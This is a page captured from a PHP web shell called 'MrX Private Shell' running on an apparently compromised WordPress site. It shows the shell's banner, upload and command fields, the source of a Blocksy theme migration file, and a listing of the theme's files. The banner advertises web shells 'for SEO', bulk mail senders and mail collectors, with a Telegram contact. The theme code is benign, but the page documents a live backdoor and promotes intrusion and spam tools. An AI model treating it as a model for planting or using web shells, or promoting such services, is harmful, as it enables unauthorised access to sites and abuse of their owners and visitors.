__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy\DbVersioning;

class V2092 {
	public function migrate() {
		$this->copy_blog_pagination_settings_to_search();
	}

	public function copy_blog_pagination_settings_to_search() {
		$reveal_options = blocksy_get_options('general/cards-reveal-effect', [
			'prefix' => 'blog',
		]);

		$pagination_options = blocksy_get_options('general/pagination', [
			'prefix' => 'blog',
		]);

		$options_to_copy = array_merge(
			$this->get_options_ids($reveal_options),
			$this->get_options_ids($pagination_options)
		);

		$archive_prefixes = blocksy_manager()->screen->get_archive_prefixes([
			'has_search' => true,
			'has_woocommerce' => true,
			'has_blog' => false
		]);

		foreach ($archive_prefixes as $archive_prefix) {
			$options_to_copy = $this->get_options_ids($pagination_options);

			if ($archive_prefix === 'search') {
				$options_to_copy = array_merge(
					$this->get_options_ids($reveal_options),
					$this->get_options_ids($pagination_options)
				);
			}

			foreach ($options_to_copy as $option_id) {
				if (strpos($option_id, 'blog_') !== 0) {
					continue;
				}

				$option_value = get_theme_mod($option_id, '__default__');

				// blog value was not set
				if ($option_value === '__default__') {
					continue;
				}

				$new_option_id = implode('_', [
					$archive_prefix,
					ltrim($option_id, 'blog_')
				]);

				$new_option_value = get_theme_mod($new_option_id, '__default__');

				// local value was already set
				if ($new_option_value !== '__default__') {
					continue;
				}

				set_theme_mod($new_option_id, $option_value);
			}
		}
	}

	private function get_options_ids($options) {
		$collected_options = [];

		blocksy_collect_options(
			$collected_options,
			$options,
			[
				'limit_option_types' => false,
				'limit_level' => 1,
				'include_container_types' => true,
				'info_wrapper' => true,
			]
		);

		$options_to_copy = [];

		foreach ($collected_options as &$option) {
			if ('container' === $option['group']) {
				$options_to_copy = array_merge(
					$options_to_copy,
					$this->get_options_ids($option['option']['options'])
				);
			}

			if ('option' === $option['group']) {
				if (isset($option['option']['inner-options'])) {
					$options_to_copy = array_merge(
						$options_to_copy,
						$this->get_options_ids($option['option']['inner-options'])
					);
				}

				$options_to_copy[] = $option['id'];
			}
		}

		return $options_to_copy;
	}
}


Filemanager

Name Type Size Permission Actions
utils Folder 0750
v2-0-0.php File 12.28 KB 0640
v2-0-15.php File 1.19 KB 0640
v2-0-19.php File 1.13 KB 0640
v2-0-2.php File 1.24 KB 0640
v2-0-26.php File 230 B 0640
v2-0-27.php File 205 B 0640
v2-0-3.php File 759 B 0640
v2-0-31.php File 3.46 KB 0640
v2-0-34.php File 778 B 0640
v2-0-36.php File 1.28 KB 0640
v2-0-38.php File 1.35 KB 0640
v2-0-53.php File 632 B 0640
v2-0-60.php File 338 B 0640
v2-0-67.php File 698 B 0640
v2-0-70.php File 179 B 0640
v2-0-72.php File 2.88 KB 0640
v2-0-73.php File 1.2 KB 0640
v2-0-74.php File 347 B 0640
v2-0-75.php File 458 B 0640
v2-0-76.php File 2.21 KB 0640
v2-0-87.php File 2.29 KB 0640
v2-0-9.php File 2.19 KB 0640
v2-0-92.php File 2.38 KB 0640
v2-0-93.php File 745 B 0640
v2-0-94.php File 1005 B 0640
v2-0-96.php File 2.61 KB 0640
v2-1-0.php File 1.41 KB 0640
v2-1-1.php File 1.3 KB 0640
Filemanager